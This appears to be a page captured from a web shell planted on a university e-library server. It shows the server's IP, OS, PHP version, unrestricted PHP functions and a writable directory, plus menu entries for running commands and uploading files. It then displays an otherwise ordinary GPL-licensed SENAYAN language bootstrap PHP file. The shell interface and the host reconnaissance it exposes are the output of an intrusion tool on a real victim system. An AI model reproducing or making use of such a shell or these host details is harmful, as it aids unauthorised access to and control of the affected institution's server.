Server IP : 103.11.96.170 / Your IP : 3.145.170.67 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/elibrary/repository/../lib/lang/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * SENAYAN application bootstrap files * * Copyright (C) 2009 Tobias Zeumer (github@verweisungsform.de) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * * Purpose of this file * 1. Add support for gettext, even if the php extension is not * available (with php-gettext) * 2. Supply an array that lists all available translations (main * purpose is to use it for creating html selects to change language) * * TODO: Maybe change $available_languages to just list the native * language name (well, useres should be able to find their own * language, shouldn't they?) :) * NOTE: The gettext library might be used, if it is available. * The problem is that mo files are cached by the extension, so a * server restart is necessary if these files are updated (e.g. by * a senayan update). I replaced all _('') with __(''), so * php-gettext is always used, thus circumventing this problem. * Obviously there is no real speed disadvantage, since this is the * way wordpress does it. * Developers should use __('') and _ngettext in code! */ // key to authenticate if (!defined('INDEX_AUTH')) { define('INDEX_AUTH', '1'); } // set php-gettext library require LANG.'php-gettext'.DS.'gettext.inc'; // gettext setup $locale = $sysconf['default_lang']; $domain = 'messages'; $encoding = 'UTF-8'; // set language to use T_setlocale(LC_ALL, $locale); // set locales dictionary location _bindtextdomain($domain, LANG.'locale'); // codeset _bind_textdomain_codeset($domain, $encoding); // set .mo filename to use _textdomain($domain); // Array with available translations // $available_languages[] = array('CODE', __('ENGLISH NAME'), 'NATIVE NAME'); $available_languages[] = array('ar_SA', __('Arabic'), 'Arabic'); $available_languages[] = array('bn_BD', __('Bengali'), 'Bengali'); $available_languages[] = array('pt_BR', __('Brazilian Portuguese'), 'Brazilian Portuguese'); $available_languages[] = array('en_US', __('English'), 'English'); $available_languages[] = array('es_ES', __('Espanol'), 'Espanol'); $available_languages[] = array('de_DE', __('German'), 'Deutsch'); $available_languages[] = array('id_ID', __('Indonesian'), 'Indonesia'); $available_languages[] = array('ja_JP', __('Japanese'), 'Japanese'); $available_languages[] = array('my_MY', __('Malay'), 'Malay'); $available_languages[] = array('fa_IR', __('Persian'), 'Persian'); $available_languages[] = array('ru_RU', __('Russian'), 'Russian'); $available_languages[] = array('th_TH', __('Thai'), 'Thai'); $available_languages[] = array('tr_TR', __('Turkish'), 'Turkish'); $available_languages[] = array('ur_PK', __('Urdu'), 'Urdu');